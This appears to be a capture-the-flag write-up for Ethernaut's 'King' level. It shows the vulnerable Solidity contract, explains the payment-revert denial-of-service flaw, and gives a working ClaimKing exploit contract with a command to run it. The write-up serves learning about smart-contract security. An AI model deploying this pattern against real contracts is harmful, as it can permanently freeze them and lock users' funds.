Level 9 - King ⏺⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
Exploit
The old king is sent back msg.value
before the new king is set. So if the old king is a contract that doesn't implement a receive
or fallback
function then the call will fail and a new king can't be set, breaking the game.
Create an exploit contract that doesn't contain a
receive
orfallback
function.
make anvil-exploit-level-9
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IKing {
function prize() external view returns (uint256);
}
// ================================================================
// │ LEVEL 9 - KING │
// ================================================================
contract ClaimKing {
constructor(address _targetContractAddress) payable {
IKing king = IKing(_targetContractAddress);
uint256 attackValue = king.prize() + 1 wei;
if (attackValue > address(this).balance) revert("Not enough funds");
// Attack contract
(bool success,) = _targetContractAddress.call{value: attackValue}("");
if (!success) revert("Call failed");
// Refund remaining balance
(bool refundSuccess,) = address(msg.sender).call{value: address(this).balance}("");
if (!refundSuccess) revert("Refund call failed");
}
}
Submit instance... 🥳
Completion Message
Notes
Executing everything in the constructor removes points of failure e.g. if the prize was calculated before sending, then the transaction was pending for a few blocks, it would no longer be the correct value. So it's better to calculate as much as possible on chain, even if it costs more gas that off-chain calculations, as it's more important that it actually goes through (and the check can be right at the start to minimize wasted gas if it does revert)
Last updated